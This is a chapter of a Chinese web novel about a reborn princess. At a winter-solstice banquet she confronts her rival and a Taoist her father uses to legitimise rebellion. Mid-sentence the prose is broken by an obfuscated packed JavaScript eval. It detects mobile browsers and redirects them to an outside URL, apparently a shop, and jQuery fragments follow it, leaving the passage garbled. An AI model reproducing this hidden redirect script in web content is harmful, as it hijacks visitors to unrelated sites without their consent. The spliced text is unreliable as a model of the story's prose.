9. 亚岁

作品:《重生后和死敌相爱了

    “主子,扬州密报。”


    南境的军帐内,几夜未曾合眼的晏靖安睫羽低垂,搁下军阵图,接过属下送来的那份密信后,本略显疲态的面容重又舒展。


    展信看过,他轻声问道:“郡主可有异常?”


    这问题问得颇让人摸不着头脑。


    送信的下属愣了愣,接着方才的密报继续道:“晋王这几日常去瑶山见那道人,至于郡主…似乎并无异常。”


    主子也没叫他去盯着郡主啊?他哪里会知道。


    怕晏靖安有所不满,他又补道:“主子的意思,是要加派人手,去王府盯着郡主的动向吗?”


    “不,不必防着她,”晏靖安合上眼,轻声呢喃,“我只是觉得她…有些奇怪。”


    风儿恰好吹过,透入军帐帘幕的缝隙,晏靖安眯起眼,不知借帐隙望向何处。


    “亚岁快到了,冬至宴时,我们也该回扬州了。”


    *


    寒气愈发深重,晋王府沁水园内,赵延意捻笔悬了几回,墨珠坠在素白的纸面上,溅起一团墨渍。


    一旁为她研墨的朝露见状,贴心地为赵延意换上新纸,但见她眉间凝着的愁绪,却未多言,选择俯身退下。


    室内一时寂静,空荡荡的书房里,赵延意仍在沉思,过了半晌才似下了决心,落笔写道:


    久闻时清兄才思敏捷,近日于友人处品读你诸多诗作,愈发倾慕你的文采。听闻最近时清兄为书院课业资费所累,我不愿明珠蒙尘,特托院长转送些微薄资财,只盼时清兄专心研学,勿被俗事拖扰。


    没有落款。


    可在书写信封上那人名姓时,赵延意却无比认真。


    江时清。


    江时清亲启。


    他那样的人,若是没有她,应当会活得很好吧。


    赵延意忽而真心地笑了一声,可泪水却落一滴,正砸在信封上。


    他的血,他失去余温的尸体,这辈子都不会再见了。


    她该庆幸的。


    收起桌上信件,赵延意朝门口轻唤一声,起身将那封信交托给朝露:“出门采买时,将此信交与镖头,交代好,务必要顺利送到荆源。”


    “是。”朝露正色道。


    “还有昨日收好的那些银票与墨宝,一同送去镖局,千万千万,不能出任何纰漏。”赵延意难得唠叨,强调多遍才目送朝露离开。


    在原地伫立许久,赵延意正欲转身回到书房,身后赵瑞元那雀跃的声音却又一次叫住了她。


    “阿意,哥哥赶在亚岁前回来了,你欢不欢喜?”


    进来也不打声招呼,真是没规矩。


    赵延意没回身,只平淡地嗯了一声,由着赵瑞元进了书房。


    “听说这次冬至宴是你帮衬着母亲筹办的?”赵瑞元目光在那堆满废纸的纸篓上顿了一瞬,“看来应是办得不错,我刚一回来,母亲就赞了你好几回。”


    “嗯。”赵延意依旧回得敷衍。


    “那我就盼着冬至宴那天看看你的成果了。”赵瑞元笑得仍是灿烂,却刻意朝赵延意近了几步。


    赵延意这回连话都懒得说了,只轻轻颔首示意知晓,就坐回书案前,抬手谢客:“话说完了?哥哥,我今日的功课还没做完,夫子马上要到了,你请回吧。”


    赵延意这般冷漠的姿态,又让赵瑞元想起几月前回府见她时坠湖的经历,身冷心也冷。


    猜到她是为着晏靖安的事才对他没好脸色,赵瑞元服了软,轻声哄道:“阿意,我不是刻意回避那夜的事…可利弊事宜我早已同你说清,那晏靖安又着实无甚可疑之举,我又能做什么呢?”


    赵延意终于抬眼看他,眼神却依旧淡得像水:“你同我说这些做什么?说好不提,就无需再提,快些走吧。”


    “不是因为这个?那是为了什么?是因为父亲的事?还是因为我这回没给你带礼物?阿意啊,你总得给我个理由吧!”


    真是聒噪。


    赵瑞元问个没完,惹得赵延意总算有了情绪,可惜她面上漫出的不是他期盼的喜悦,而是怒意。


    *


    门外候着赵延意去见夫子的侍女已经到了,可听着书房里两人不算愉悦的对话,没敢吭声。


    却见书房的大门砰的一声打开,从里头被轰出来的赵瑞元,正与这侍女眼神对视,尴尬得连声道:“哈哈…阿意今天心情不好…你可别触她霉头了。”


    下台阶时,赵瑞元还踉跄了一下,轻咳两声后,他故作镇定迈了几步,脚步飞快地离开了沁水园。


    赵瑞元脑子里到底都在想些什么?


    赵延意隔着窗棂看他离开,眉头皱得更紧了。


    明明他智慧谋算都属上乘,可偏偏现在总是一副不着调的样子,她到底能指望这傻哥哥做些什么?


    罢了,他要是能一直这么自在开怀,无忧无虑,也不算重蹈前世覆辙了。


    暂时放下将瑶山消息告知于他的念头后,赵延意关上通风的镂花木窗,同那在门外等候的侍女温声笑道:“走吧,别叫夫子等急了。”


    “是。”侍女看赵延意笑意盈盈,把吊着的一颗心放了下来。


    侍女一边引路,一边悄悄瞄着赵延意,暗暗想着:


    果然在这晋王府,最温和好相处的主子,就是郡主了。


    *


    亚岁到得比流水还快。


    冬至宴这日,赵延意换上件海棠红织金袄裙,外头披一件银裘斗篷,格外应景,站在府门前同母亲、父兄迎接宾客时,见着她的女眷无不笑着称赞:“郡主出落得越发动人了。”


    赵延意也含笑回应,互道一声“冬至安康”,便请客人入座,一派和馨融融。


    可惜这祥和的氛围没延续太久,见着那身着玄色织锦氅衣的晏靖安随父母前来,赵延意的笑顿时僵在脸上。


    晏靖安脸上依旧挂着那恰到好处的笑,先行同赵益与李月华见了礼,便凝眸朝赵延意那边看去。


    见他走来,赵延意一个侧身避了过去,晏靖安启唇还没来及道安,作揖行礼的动作就对上了她的后背。


    赵延意彻底无视他的存在,扬起嘴角只同晏将军与夫人道:“祝叔父、叔母冬至安康,岁岁长宁。”


    三人笑得都很真诚,唯晏靖安眸色郁郁,盯了赵延意一阵,才算作罢。


    而余光见着晏靖安入了府,赵延意如针刺的眼神才扫向他的背影,像要将他盯穿似的,眼睛一眨不眨,全是冷意。


    何必要装得同她如此热络?为了世人眼中那温和有礼的假象,这疯子还真是豁得出去。


    就不怕她再悬一回利器,取他的命吗?


    “阿意,你看看,晏靖安完全都不计较那夜的事,”无视赵延意面上的寒意,赵瑞元又凑了上来,“你也别再为了一个梦,那般记恨他了。”


    赵延意彻底没话说了。


    一把推开靠得太近的赵瑞元,她朝门外看去,像是捕捉到猎物一般,眸子瞬间亮了。


    府门外,一辆素色的马车上,走下一位清癯老者,他身着一件简朴的灰布道袍,头上鹤发只用根桃木簪挽起,纵然穿着朴素,却端得一派仙风道骨。


    定眼看了一阵,赵延意隐隐地露出笑意。


    总算让她等到了,那位所谓的得道仙人。


    赵益见这道人来了,忙上去相迎,可这道人见了他,也无谄媚奉承之意,只微微一笑,缓步抬脚就踏入了王


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922555|192615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    府大门。


    倒是随行的小童与赵益问了好:“晋王殿下万福,师父特让我将这新炼制的丹药赠于您,就当是冬至宴的回礼。”


    赵益被那老道驳了面子也不生气,让侍从接过小童递来的木盒,就笑着说道:“仙人愿应下邀约,便是本王的荣幸,何需什么回礼呢?”


    言罢,他又向侍从吩咐道:“带仙人入上座。”


    亲眼见证父亲对这老道的态度,赵延意确信,那帝星的箴言,绝对出自他口。


    她父亲这样一个不信鬼神的人,还能将他奉为上宾,无非是要借着这老道之口,为他将来起兵谋反正名罢了。


    瞥了眼赵益心满意足的神情,赵延意垂下眼眸。


    既然如此,就别怪她将这棋局掀翻了。


    *


    府内四角宫灯亮起,众人皆已入宴。


    席间除了赵延意,不少参宴的宾客都在暗暗打量那居于上座的仙人,而那老道装作浑然不觉,只听着府内丝竹管弦之乐,格外悠然自得。


    “这就是父亲去瑶山接回的那位仙人?看上去同其他道人,也没什么不同之处。”赵瑞元端起一盘蜜饯,递到赵延意嘴边,“真不知是图他什么,能有什么真本事?”


    赵延意没吃那蜜饯,却侧目看他:“你早知道这事?”


    “对啊,”赵瑞元边吃边说,“我前日回府去寻你,就想同你说这事的,可我不是被你轰出去了吗?”


    不知是二人不算小声的对话被那老道听见了,还是旁的原因,那老道缓缓抬眼,指尖沾上杯中美酒,在桌上轻划一圈。


    不过一瞬,借着窗外闯入的一阵寒风,火光顿起,惊得满座寂静。


    江湖把戏。


    赵延意抬起半边眉,有些不屑。


    她嗤笑一声,正欲轻声同赵瑞元交换消息时,却察觉到对面一道若有似无的视线,抬眼望去,只见晏靖安正眉眼含笑,举杯看向她。


    两座相隔甚远,赵延意听不清他想说些什么,也懒得多想,只借着他的动作,大概看出他这是想同她对饮,于是也虚举玉杯悬了半瞬,口唇连杯也未沾,就将玉杯重新放回桌面。


    赵延意的小动作被晏靖安尽收眼底,他垂下眸,晃了晃未饮下的杯中酒,轻叹一声。


    转身唤来身后候着的侍从,晏靖安轻声吩咐了几句,这侍从便快步走向赵延意席前。


    “郡主,晏小将军有话要小的转达。”


    “什么?”赵延意皱起眉头。


    “他说,祝郡主冬至安康。”


    没头没尾的祝福。


    他怕不是还记着刚才在府门前,她刻意忽视他的事?


    赵延意冷笑了一声,也叫侍从传话给晏靖安,只道:“你同他说,愿他今岁平安,可千万别死在南境了。”


    侍从愣了愣,迟疑着这话要不要传,正犹豫时,就被赵瑞元伸手拉了过去。


    “把话换个说法不就得了,机灵点。”


    无视赵延意瞪他的眼神,赵瑞元又轻推了侍从一把,“快些去,冬至总要讨个吉利。”


    侍从踟蹰着走向晏靖安,不知在他耳畔说了什么。


    晏靖安原本淡漠的神色顷刻间转暖,眉梢眼角都泛起光彩,本就俊美的少年,这么一笑,愈发显得动人。


    周遭有几家的小姐窥见他这一笑,捂着嘴开始交头接耳,而赵延意压根没往他那处瞧,仍是瞪着赵瑞元道:“你胡乱替我出什么主意?”


    骂完赵瑞元,她才扭头往晏靖安那处瞥了一眼,见他垂着头没什么反应,才压下怒气,重新把目光投回到那端坐的道人身上。


    她倒是要瞧瞧,今日宴上,父亲究竟要这道人做些什么。